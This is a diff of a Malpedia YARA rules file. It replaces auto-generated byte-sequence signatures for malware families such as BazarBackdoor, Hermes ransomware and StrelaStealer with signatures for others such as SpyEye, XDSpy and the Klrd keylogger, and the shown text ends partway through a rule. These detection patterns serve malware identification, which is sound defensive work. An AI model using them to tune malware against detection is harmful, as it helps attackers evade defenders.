 	strings:
-		$sequence_0 = { 85c0 7804 8b542414 89d0 83c41c }
-		$sequence_1 = { e8???????? b9???????? b802000000 89ca e8???????? }
-		$sequence_2 = { 89c6 53 89d3 83ec10 52 e8???????? }
-		$sequence_3 = { b802000000 e8???????? b905000000 ba???????? b802000000 e8???????? b908000000 }
-		$sequence_4 = { c744244800000000 e9???????? 8b542404 8b3482 6bc018 03442464 }
-		$sequence_5 = { e8???????? 83c414 6a1f e8???????? c7042420000000 e8???????? c785280400001e000000 }
-		$sequence_6 = { 85c0 7416 83ec0c ff35???????? e8???????? 59 6a00 }
-		$sequence_7 = { 3b410c 747c 8b45bc 83ec0c 8b55cc 8d5def 8945e0 }
-		$sequence_8 = { 6a04 56 53 e8???????? 8844243a 83c420 6a00 }
-		$sequence_9 = { 6a15 68???????? 6a1d e8???????? 83c40c 6a15 68???????? }
+		$sequence_0 = { 8b530c 8b4308 33c9 8d4402ff 0fa4c109 }
+		$sequence_1 = { e8???????? 83c40c 57 8d4c242c }
+		$sequence_2 = { 8bf0 83feff 740e 8bce e8???????? 56 }
+		$sequence_3 = { 6a00 6800000002 ffd3 8bf0 83feff 7409 6a00 }
+		$sequence_4 = { 7438 8d55f0 52 68???????? }
+		$sequence_5 = { 89842430020000 53 56 57 e8???????? 8b1d???????? 33ff }
+		$sequence_6 = { 68???????? 57 ff15???????? 8b45a2 8b4da6 8b55ae }
+		$sequence_7 = { 8d95c0fdffff c1e009 52 50 57 }
+		$sequence_8 = { 40 83c610 8985e4fdffff 83f804 }
+		$sequence_9 = { 8d5de8 8955ec 894df4 8945f0 e8???????? 807db600 }
 
 	condition:
-		7 of them and filesize <122880
+		7 of them and filesize <209920
 }
-rule MALPEDIA_Win_Synflooder_Auto : FILE
+rule MALPEDIA_Win_Ehdevel_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "355e06d2-d319-5e82-9247-ae8f46ddbac0"
+		id = "df8239a0-64d7-5d90-a037-26c4b02b8a9b"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.synflooder"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.synflooder_auto.yar#L1-L124"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ehdevel"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ehdevel_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "95bdce90d0fd23dc18864dd54db497d62acdb308355c11b707eb697b526800c1"
+		logic_hash = "959b6347dd7f394fa1dd74e2d5d70bd613b6731b1cc6dbc8f1a7abb3467a3ebd"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -160385,32 +167461,32 @@ rule MALPEDIA_Win_Synflooder_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff35???????? ff15???????? 85c0 7442 8b7df4 85ff }
-		$sequence_1 = { 83e61f 8d3c8520fc4000 8b07 c1e606 }
-		$sequence_2 = { 750b 56 e8???????? 59 85c0 7407 }
-		$sequence_3 = { e8???????? 83c408 8b542420 52 68???????? e8???????? }
-		$sequence_4 = { 53 56 57 7408 33c0 40 e9???????? }
-		$sequence_5 = { c7465c20b04000 83660800 33ff 47 }
-		$sequence_6 = { 55 8bec 81ec98050000 a1???????? 33c5 8945fc 8d8568faffff }
-		$sequence_7 = { 8bf0 89742414 83feff 7524 68???????? e8???????? 83c404 }
-		$sequence_8 = { ff15???????? 83f8ff 7524 68???????? e8???????? 83c404 }
-		$sequence_9 = { 33db 85db 7466 8d45f4 50 ff75f8 53 }
+		$sequence_0 = { 51 e8???????? e9???????? 33d2 68fe070000 52 8d85feefffff }
+		$sequence_1 = { 7545 56 c70303000000 ff15???????? 56 ff15???????? 68???????? }
+		$sequence_2 = { 8d8dcce7ffff 51 6a00 6813000020 56 c785cce7ffff00000000 c785c8e7ffff04000000 }
+		$sequence_3 = { 8d85f0e7ffff 50 56 6a00 6a10 6a02 ff15???????? }
+		$sequence_4 = { e8???????? 83c404 33c9 6a08 b8???????? }
+		$sequence_5 = { 8d8dd4e5ffff 51 8d95f8f7ffff 6800040000 52 e8???????? }
+		$sequence_6 = { 83c410 8b4d0c 8d442408 50 51 }
+		$sequence_7 = { 83d8ff 85c0 0f84cffdffff 68???????? 6800040000 57 e8???????? }
+		$sequence_8 = { 50 e8???????? 8d8c24d4190000 51 8d9424d8010000 6800040000 52 }
+		$sequence_9 = { 8db564f7ffff e8???????? 33d2 899de8f7ffff 89bde4f7ffff 668995d4f7ffff 33c0 }
 
 	condition:
-		7 of them and filesize <163840
+		7 of them and filesize <524288
 }
-rule MALPEDIA_Win_Waterspout_Auto : FILE
+rule MALPEDIA_Win_Spyeye_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "966cd02d-f7ac-590a-a30e-6be6c0215ec6"
+		id = "4b228779-0f96-5a8e-b676-8a6d855d1452"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.waterspout"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.waterspout_auto.yar#L1-L127"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.spyeye"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.spyeye_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "791d1c9b538b0f8a628f6a3764a4be7336ff1d48478e7334334b2fc3c8924313"
+		logic_hash = "54f45a6b713b51a15663c9347e916cec35361fbd1f12608b97d32ef9d0a49fb7"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -160424,34 +167500,34 @@ rule MALPEDIA_Win_Waterspout_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { fec8 53 8841ff 8d4c2418 ff15???????? eb3a 3bf3 }
-		$sequence_1 = { c684243a01000023 c684243b0100003d c684243c010000ee c684243d0100004c c684243e01000095 c684243f0100000b c684244001000042 }
-		$sequence_2 = { 8d4c244c 68???????? 51 ff15???????? 8d7c2454 83c9ff 33c0 }
-		$sequence_3 = { 51 52 ff15???????? 85c0 7415 a1???????? 3bc3 }
-		$sequence_4 = { 50 8b842410200000 51 52 68???????? 50 }
-		$sequence_5 = { 6a00 a4 ff15???????? 50 ff15???????? 8b742460 }
-		$sequence_6 = { 0f84aa000000 6a00 56 55 }
-		$sequence_7 = { 8d542414 51 52 ffd6 83f801 74db 5f }
-		$sequence_8 = { a3???????? 8b442428 68???????? 6a00 6a6b }
-		$sequence_9 = { 33c0 8dbdfcfeffff 85f6 f3ab 7511 8d85fcfeffff 50 }
+		$sequence_0 = { 8d4de8 51 8d4de0 51 50 e8???????? 85c0 }
+		$sequence_1 = { 6a07 6800000040 57 e8???????? 8bf8 83ffff }
+		$sequence_2 = { 6889000000 ff7508 33db 897df8 }
+		$sequence_3 = { 57 6800000002 6a03 57 6a01 56 }
+		$sequence_4 = { 56 6880000000 6a02 eb08 56 6880000000 6a04 }
+		$sequence_5 = { 85c0 7407 c745f801000000 397dfc 740e }
+		$sequence_6 = { be80000000 56 6a03 57 6a01 6889000000 ff7508 }
+		$sequence_7 = { 53 e8???????? 85c0 7407 c745f801000000 397dfc 740e }
+		$sequence_8 = { 8965fc ff7510 ff750c ff7508 ffd0 8b65fc }
+		$sequence_9 = { 7454 57 56 6a03 }
 
 	condition:
-		7 of them and filesize <98304
+		7 of them and filesize <741376
 }
-rule MALPEDIA_Win_Bazarbackdoor_Auto : FILE
+rule MALPEDIA_Win_Sysget_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "5d2ecc0c-54dd-5654-9202-132113260f24"
+		id = "950c6328-1de5-5d85-b009-d36eceeda441"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bazarbackdoor"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bazarbackdoor_auto.yar#L1-L638"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sysget"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sysget_auto.yar#L1-L126"
 		license_url = "N/A"
-		logic_hash = "bfaa99dbae5ad02f0954740ed30f16e2a148a8070db46fd5f787ce6fb0204c77"
+		logic_hash = "98d11ad376be93c301b2c1f8309ca9e93b58254eeadefcb865a1a57e18934a28"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -160463,100 +167539,32 @@ rule MALPEDIA_Win_Bazarbackdoor_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 488bce 4889442420 ff15???????? 85c0 780a }
-		$sequence_1 = { 488bce ffd0 eb03 488bc3 }
-		$sequence_2 = { b803000000 e9???????? 488b5568 4c8d85f0040000 488b4c2450 bb08000000 }
-		$sequence_3 = { e9???????? 488b4c2458 488d55e0 ff15???????? }
-		$sequence_4 = { 4533c0 c744242002000000 ba00000040 ffd0 }
-		$sequence_5 = { 0fb70f ff15???????? 0fb74f02 0fb7d8 ff15???????? }
-		$sequence_6 = { 488d4d80 e8???????? 498bd6 488d4d80 }
-		$sequence_7 = { 7507 33c0 e9???????? b8ff000000 }
-		$sequence_8 = { 0fb7d8 ff15???????? 0fb74f08 440fb7e8 }
-		$sequence_9 = { 4885c9 7406 488b11 ff5210 ff15???????? }
-		$sequence_10 = { e8???????? cc e8???????? cc 4053 4883ec20 b902000000 }
-		$sequence_11 = { c3 0fb74c0818 b80b010000 663bc8 }
-		$sequence_12 = { e8???????? 4c89e1 e8???????? 8b05???????? }
-		$sequence_13 = { 4533c9 4889442428 488d95a0070000 488d442470 41b80f100000 }
-		$sequence_14 = { 0fb6c9 4881e9c0000000 48c1e108 4803c8 8bc1 488d94059f070000 }
-		$sequence_15 = { 31ff 4889c1 31d2 4989f0 }
-		$sequence_16 = { 4889f1 e8???????? 8b05???????? 8b0d???????? }
-		$sequence_17 = { 4c89742440 4c89742438 4489742430 4c89742428 }
-		$sequence_18 = { ff15???????? 4889c1 31d2 4d89e0 }
-		$sequence_19 = { 418d5508 488bc8 ff15???????? 488bd8 }
-		$sequence_20 = { e8???????? 4889c7 8b05???????? 8b0d???????? }
-		$sequence_21 = { 488d9590050000 488bce ff15???????? 85c0 }
-		$sequence_22 = { 488d442470 41b80f100000 488bce 4889442420 }
-		$sequence_23 = { ff15???????? ff15???????? 4d8bc5 33d2 488bc8 }
-		$sequence_24 = { 0fafc8 89c8 83f0fe 85c8 0f95c0 0f94c3 }
-		$sequence_25 = { c744242003000000 4889f9 ba00000080 41b801000000 }
-		$sequence_26 = { c744242800000001 4533c9 4533c0 c744242002000000 ba1f000f00 }
-		$sequence_27 = { 83fe09 0f9fc2 83fe0a 0f9cc1 }
-		$sequence_28 = { 4889442428 488d95b0030000 488d4580 41b80f100000 }
-		$sequence_29 = { 4d8bc7 33d2 488bc8 ff15???????? ff15???????? }
-		$sequence_30 = { 08ca 80f201 7502 ebfe }
-		$sequence_31 = { 48c744243000000000 c744242880000000 c744242003000000 4889f9 }
-		$sequence_32 = { 0f94c3 83f809 0f9fc2 83f80a 0f9cc0 30d8 }
-		$sequence_33 = { 0fb65305 33c0 80f973 0f94c0 }
-		$sequence_34 = { 0f9fc1 83fa0a 0f9cc2 30da 08c1 80f101 08d1 }
-		$sequence_35 = { 7528 0fb64b04 0fb6d1 80f973 }
-		$sequence_36 = { 4889c1 31d2 4989f8 ff15???????? 4885c0 }
-		$sequence_37 = { ff15???????? 31ed 4889c1 31d2 4989d8 }
-		$sequence_38 = { 488bd3 e8???????? ff15???????? 4c8bc3 33d2 }
-		$sequence_39 = { 0fb6d1 80f973 7504 0fb65305 }
-		$sequence_40 = { 08c1 80f101 7502 ebfe }
-		$sequence_41 = { e8???????? 4889f9 4889f2 ffd0 }
-		$sequence_42 = { 0f9cc2 30da 7509 08c1 }
-		$sequence_43 = { 85da 0f94c3 83fd0a 0f9cc2 }
-		$sequence_44 = { 84d2 7405 80fa2e 750f }
-		$sequence_45 = { 4889c1 31d2 4d89e8 ff15???????? }
-		$sequence_46 = { 4889c1 31d2 4d89f8 ffd3 }
-		$sequence_47 = { e8???????? 4c897c2420 4889d9 89fa }
-		$sequence_48 = { 89f0 4883c450 5b 5f }
-		$sequence_49 = { 8d4833 ff15???????? c744242810000000 4533c9 }
-		$sequence_50 = { 6a00 56 ff15???????? 5f 5e 5d 8bc3 }
-		$sequence_51 = { 689c7d9d93 6a04 5a e8???????? 59 59 85c0 }
-		$sequence_52 = { 8d44244c 50 6a00 ff74243c 53 55 ff15???????? }
-		$sequence_53 = { 6685ff 0f849c000000 837c2460ff 0f858c000000 }
-		$sequence_54 = { 50 0fb745e8 50 68???????? e8???????? }
-		$sequence_55 = { 66890d???????? 0fb7ca ff15???????? b901000000 66c746020100 668906 }
-		$sequence_56 = { 7506 8b0e 894c2460 0fb7c0 }
-		$sequence_57 = { 8a842483030000 81fe80000000 760b 24f2 0c02 }
-		$sequence_58 = { 57 8d4101 6a0e 8bf0 5f 8a11 }
-		$sequence_59 = { 7406 6a35 ffd0 eb02 33c0 }
-		$sequence_60 = { ffd6 8d7001 56 6a08 ff15???????? 50 }
-		$sequence_61 = { 740d 33d2 83f902 0f95c2 83c224 }
-		$sequence_62 = { 0f95c2 83c224 eb05 ba29000000 }
-		$sequence_63 = { 660f73d801 660febd0 660f7ed0 84c0 }
-		$sequence_64 = { 750b 8ac1 2ac2 fec8 88041a }
-		$sequence_65 = { 8d4701 84c9 0f45c7 803a00 8bf8 }
-		$sequence_66 = { 6a00 6a00 50 8d4601 }
-		$sequence_67 = { c1f808 0fb6c0 50 0fb6c2 }
-		$sequence_68 = { 83c410 b800308804 6a00 50 }
-		$sequence_69 = { 81feff030000 733c 8a02 3cc0 721e 0fb6c8 }
-		$sequence_70 = { 89542410 48894c2408 4883ec48 8b442458 89442424 48c744242800000000 }
-		$sequence_71 = { 488b442430 488b8c2410010000 48894830 488b442430 488b8c2418010000 48894838 488b442430 }
-		$sequence_72 = { 488bca 448bc0 488bd1 488b4c2430 e8???????? 488b442428 }
-		$sequence_73 = { ff15???????? 33c0 eb47 488b442430 8b4014 }
-		$sequence_74 = { 4825ffff0000 488b8c2488000000 4c8b4140 488bd0 }
-		$sequence_75 = { 488b442430 48c7404800000000 488b442430 eb14 }
-		$sequence_76 = { eb1f 488b442430 8b4024 2580000000 }
-		$sequence_77 = { 488b442458 488b00 b908000000 486bc909 488d840888000000 4889442428 488b442428 }
+		$sequence_0 = { 56 6a20 8d45cc 50 53 53 }
+		$sequence_1 = { f3a5 33f6 8d4435f0 8a08 f6d1 80f15f }
+		$sequence_2 = { 58 6a00 ff15???????? 6a01 8d85ecf9ffff 50 8d85ecf1ffff }
+		$sequence_3 = { 8985c8f9ffff 83c032 50 66a5 e8???????? 83c428 }
+		$sequence_4 = { 33f6 8d4435f0 8a08 f6d1 80f15f 46 }
+		$sequence_5 = { 75f5 8dbdecfeffff 2bc2 83ef02 668b4f02 83c702 6685c9 }
+		$sequence_6 = { 83c424 6800010000 ffb5f8feffff c1e306 8d841dfcfeffff 50 ff15???????? }
+		$sequence_7 = { 6a50 68???????? 50 ff15???????? a3???????? a1???????? }
+		$sequence_8 = { 51 ff36 897d0c 50 53 }
+		$sequence_9 = { 8d459c 50 56 56 6a20 53 }
 
 	condition:
-		7 of them and filesize <2088960
+		7 of them and filesize <352256
 }
-rule MALPEDIA_Win_Avcrypt_Auto : FILE
+rule MALPEDIA_Win_Xdspy_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f0c2c6c6-0e09-5b4b-89b9-13d38222f492"
+		id = "770ce833-e4ad-5e91-a2e8-e19a8fcb8719"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.avcrypt"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.avcrypt_auto.yar#L1-L129"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xdspy"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.xdspy_auto.yar#L1-L167"
 		license_url = "N/A"
-		logic_hash = "ac05395b3ceaf430ebcb56d0def5da87a92c07f9636a33b891b2fc3647618543"
+		logic_hash = "f9c3ada66244c45df3d3dc2c6a2b3ef1f7e34e7bdca43fe98eeac2240819a0e8"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -160570,71 +167578,77 @@ rule MALPEDIA_Win_Avcrypt_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 68???????? ffd3 834dfcff 8d4dd8 56 6a01 e8???????? }
-		$sequence_1 = { 8bc7 8bcf c1f805 83e11f c1e106 030c8580b54300 eb05 }
-		$sequence_2 = { 8d4dc0 56 e8???????? 59 6a0e 33f6 5b }
-		$sequence_3 = { c705????????70484300 c705????????8cbf4300 890d???????? 8935???????? }
-		$sequence_4 = { 50 ff15???????? 83c8ff e9???????? 57 6a09 59 }
-		$sequence_5 = { ff15???????? 85c0 7507 68???????? ffd6 895de4 837dd000 }
-		$sequence_6 = { 68???????? e8???????? 83ec18 c745fc15000000 8bcc 8965d4 53 }
-		$sequence_7 = { c645fc0e 837db800 7519 68???????? 8d8d78ffffff e8???????? }
-		$sequence_8 = { e8???????? 68???????? 8d8d84feffff c645fc08 e8???????? 68???????? 8d8d9cfeffff }
-		$sequence_9 = { e8???????? c645fc01 8b5de0 85db 7404 8b13 }
+		$sequence_0 = { 8d45ec 50 ff35???????? e8???????? 83f8ff }
+		$sequence_1 = { ffb56cd8ffff 8d8570d8ffff 6800040000 6a01 50 e8???????? }
+		$sequence_2 = { 8b36 8bce c1f905 8b0c8d804e4100 }
+		$sequence_3 = { ff7580 8b3d???????? ffd7 8d4580 50 68???????? 56 }
+		$sequence_4 = { 8d45e0 50 57 8d85e02a0000 50 ff75dc ffd3 }
+		$sequence_5 = { 83c414 83c8ff e9???????? 8bc6 c1f805 57 8d3c85804e4100 }
+		$sequence_6 = { 8b4de0 8d0c8d804e4100 8901 8305????????20 }
+		$sequence_7 = { 8d8510ecffff 57 50 e8???????? ffb56cd8ffff }
+		$sequence_8 = { 0f1f4000 660f1f840000000000 420fb68431309b1700 88840db0080000 488d4901 }
+		$sequence_9 = { 488b15???????? 488d8da0080000 ffd0 660f6f0d???????? 488d3550331700 }
+		$sequence_10 = { c705????????67736666 c705????????6e747764 c705????????73752f65 66c705????????6d6d 488d1563121700 }
+		$sequence_11 = { 488d4901 84c0 75e8 80bd400c000000 488d85400c0000 7413 }
+		$sequence_12 = { 4883f860 7ccf 488d15f85c1700 488d0d41e60100 4c8d0552e60100 }
+		$sequence_13 = { fe08 488d4001 803800 75f5 488d8db0080000 ff15???????? }
+		$sequence_14 = { 83f9ff 0f8496010000 ba01000000 448d420f }
+		$sequence_15 = { 33c9 ff15???????? 48898424a8000000 660f6f05???????? }
 
 	condition:
-		7 of them and filesize <6160384
+		7 of them and filesize <3244032
 }
-rule MALPEDIA_Win_Hermes_Ransom_Auto : FILE
+rule MALPEDIA_Win_Combos_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "88136c82-87ab-5f89-8963-9afb9534a540"
-		date = "2021-10-07"
-		modified = "2021-10-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hermes_ransom"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.hermes_ransom_auto.yar#L1-L125"
+		id = "1f17e5a0-ef31-5686-bb42-b8b65987952e"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.combos"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.combos_auto.yar#L1-L121"
 		license_url = "N/A"
-		logic_hash = "2bb9637b7e3ee9fcdd4e957eade001e8c8132e1b7c987ea6727ab44eda025915"
+		logic_hash = "037e9ec47814518fd1ef388425768f46eed22a270b66cf4ee1793ac0871a3237"
 		score = 75
 		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
 		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20211007"
-		malpedia_hash = "e5b790e0f888f252d49063a1251ca60ec2832535"
-		malpedia_version = "20211008"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
 		malpedia_license = "CC BY-SA 4.0"
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 59 59 8945e0 837ddc00 7506 837de000 7405 }
-		$sequence_1 = { 8d45dc 50 ff75d8 8d8560ffffff 50 ff75e0 ff15???????? }
-		$sequence_2 = { 33c0 668945e2 33c0 8945e4 8945e8 837df020 }
-		$sequence_3 = { 6a00 8d85a4f9ffff 50 ff15???????? 5f 5e 8be5 }
-		$sequence_4 = { 0fb7844504f7ffff 83f83b 741f 8b45d8 8b4df0 668b8c4d04f7ffff }
-		$sequence_5 = { 8365c800 8365d000 c745b840420f00 8365e000 eb07 8b45e0 40 }
-		$sequence_6 = { 59 6bc900 668981e8c34000 6a02 }
-		$sequence_7 = { 59 59 6a0f 6a00 8d45bc 50 }
-		$sequence_8 = { 8365f000 8b45f0 8945f8 837df800 7456 }
-		$sequence_9 = { 83e002 7415 ff750c ff75fc e8???????? 59 }
+		$sequence_0 = { 57 68ffff1f00 8d45e4 50 }
+		$sequence_1 = { be???????? 8b4c2410 8bfb 8bc1 6a01 c1e902 f3a5 }
+		$sequence_2 = { 57 57 53 56 8b8dd8feffff }
+		$sequence_3 = { 89bdd4feffff 897dfc 8b4508 50 }
+		$sequence_4 = { 8d054c160110 83780800 754e b741 b35a b620 }
+		$sequence_5 = { 53 8d44240c 55 56 89442410 57 c744241000000000 }
+		$sequence_6 = { 740e 50 ff15???????? 830d????????ff c3 8b442404 c74050b0110110 }
+		$sequence_7 = { 7514 8b442408 8b4c2410 5e }
+		$sequence_8 = { 0bc5 33c1 8b848600ffffff 0bc7 5f 5e 5d }
+		$sequence_9 = { 83ec08 55 56 8b742414 85f6 0f8412010000 }
 
 	condition:
-		7 of them and filesize <7192576
+		7 of them and filesize <163840
 }
-rule MALPEDIA_Win_Strelastealer_Auto : FILE
+rule MALPEDIA_Win_Phoreal_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "308b6312-f55e-5e44-8b26-8341d0a5504a"
+		id = "edae0032-d1e1-5b3c-8d3f-ebef8f58d4b7"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.strelastealer"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.strelastealer_auto.yar#L1-L169"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.phoreal"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.phoreal_auto.yar#L1-L126"
 		license_url = "N/A"
-		logic_hash = "4a18fbcab2ec145e1ed1c3a8aa2118c83ff2631df0db61e9cbe03afa397c02a3"
+		logic_hash = "d8f5fe4e88399cfa18864e41db820daba4b617ffb107b587cb04424a8ab682db"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -160648,38 +167662,32 @@ rule MALPEDIA_Win_Strelastealer_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 0f85e6030000 6804010000 8d942464010000 53 52 e8???????? }
-		$sequence_1 = { ff15???????? 8b442434 8b4c2438 53 }
-		$sequence_2 = { 488945f0 488d15d8a20000 b805000000 894520 }
-		$sequence_3 = { 885909 b801000000 83c404 51 0fb69220a30010 3011 33d2 }
-		$sequence_4 = { ff15???????? 33c9 8be8 85db 7612 8bc1 }
-		$sequence_5 = { 48895c2408 4889742410 57 4c8bd2 488d351b43ffff }
-		$sequence_6 = { 488d442478 33d2 4889442430 c744242801000000 4c897c2420 }
-		$sequence_7 = { 488d15eba10000 488d0dc4a10000 e8???????? 488d15e8a10000 488d0dd9a10000 }
-		$sequence_8 = { 0f85bc030000 8b442414 53 53 53 53 8d54244c }
-		$sequence_9 = { 740d 488bc8 49878cff20ac0100 eb0a 4d87b4ff20ac0100 33c0 }
-		$sequence_10 = { 4c8d05c7680100 c744243000020080 488d1548690100 48897c2428 4533c9 }
-		$sequence_11 = { 53 4883ec20 488d057f740000 488bd9 483bc8 7418 }
-		$sequence_12 = { 488d3de6070100 eb07 488d3dc5070100 4533ed }
-		$sequence_13 = { 51 6a00 6a00 6a1a 6a00 ff15???????? 68???????? }
-		$sequence_14 = { 51 8d94247c040000 52 ff15???????? }
-		$sequence_15 = { 8b4508 ff34c580b10010 ff15???????? 5d c3 6a0c }
+		$sequence_0 = { 8d4c2414 51 8b4b04 8d542410 52 8d442418 50 }
+		$sequence_1 = { 8b570c 8d442440 6a00 50 895350 }
+		$sequence_2 = { 56 57 33ff 8bf0 8d4701 }
+		$sequence_3 = { 75c4 8d8de4fdffff c645fc02 e8???????? bf10000000 397de4 720c }
+		$sequence_4 = { 8b54245c 51 8b4c245c 52 8b542458 51 48 }
+		$sequence_5 = { 03c3 83c9ff 2bc8 3bca }
+		$sequence_6 = { 8b7510 b90e000000 f3a5 5e 5f 8be5 5d }
+		$sequence_7 = { 6a01 6a00 6a00 51 50 ff15???????? 85c0 }
+		$sequence_8 = { 52 8d434e 50 8d434b 8d534d 8d4b4c 50 }
+		$sequence_9 = { 894de0 894de4 8b8d78fdffff 8d1447 51 52 }
 
 	condition:
-		7 of them and filesize <266240
+		7 of them and filesize <622592
 }
-rule MALPEDIA_Win_Common_Magic_Auto : FILE
+rule MALPEDIA_Win_Klrd_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "51a78d88-2ba4-5106-aa0c-c758f14020ef"
+		id = "f2ac53cd-82a8-55ea-badd-f6f1aae58f93"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.common_magic"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.common_magic_auto.yar#L1-L118"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.klrd"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.klrd_auto.yar#L1-L127"
 		license_url = "N/A"
-		logic_hash = "b14e276c951448d5c194fa4cd51d59dbec4eb8aa1757a9205bc8d8e9186ff3cd"
+		logic_hash = "0fc6f030ea4bb49d87359f96c6eceeeaeffbdd94bdee42030f76f2d7ec66a19a"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -160693,32 +167701,32 @@ rule MALPEDIA_Win_Common_Magic_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d049d78824100 8b30 8945fc 90 }
-		$sequence_1 = { 03c0 eb3c 8bd1 b8feffff7f d1ea 2bc2 }
-		$sequence_2 = { c78578ffffff00000000 c7857cffffff00000000 8d9574ffffff c645fc09 8d8d84feffff }
-		$sequence_3 = { 6689855cffffff b8feffff7f 2bc1 c7856cffffff00000000 c78570ffffff07000000 }
-		$sequence_4 = { 33c9 8bc1 3914c5e84a4100 7408 }
-		$sequence_5 = { c7459c65007800 c745a065000000 83f817 0f82140c0000 83bd58ffffff08 8d8544ffffff }
-		$sequence_6 = { 51 50 51 ffb580feffff 8d8d5cffffff }
-		$sequence_7 = { 51 ffb580feffff 8d8d5cffffff e8???????? 838d78feffff06 8d8de4feffff 83bdf8feffff08 }
-		$sequence_8 = { 8b0c8570804100 8a043b 03ce 8b75dc 03cb 43 }
-		$sequence_9 = { 2bc2 3bc8 760e b8ffffff7f befeffff7f 03c0 }
+		$sequence_0 = { 8d85fcefffff 50 e8???????? 59 50 }
+		$sequence_1 = { 8d85fcefffff 50 57 ff15???????? 57 ff15???????? }
+		$sequence_2 = { e8???????? 59 50 8d85fcefffff 50 57 }
+		$sequence_3 = { 3c00 0f8485020000 3c03 0f847d020000 3c09 0f8475020000 3c08 }
+		$sequence_4 = { c685c0fdffff00 68ff000000 6a00 8d85c1fdffff 50 e8???????? 83c40c }
+		$sequence_5 = { 59 59 ff7510 ff750c ff7508 ff35???????? ff15???????? }
+		$sequence_6 = { ebcc 8a85e7feffff 8885acfcffff 80bdacfcffff08 742f }
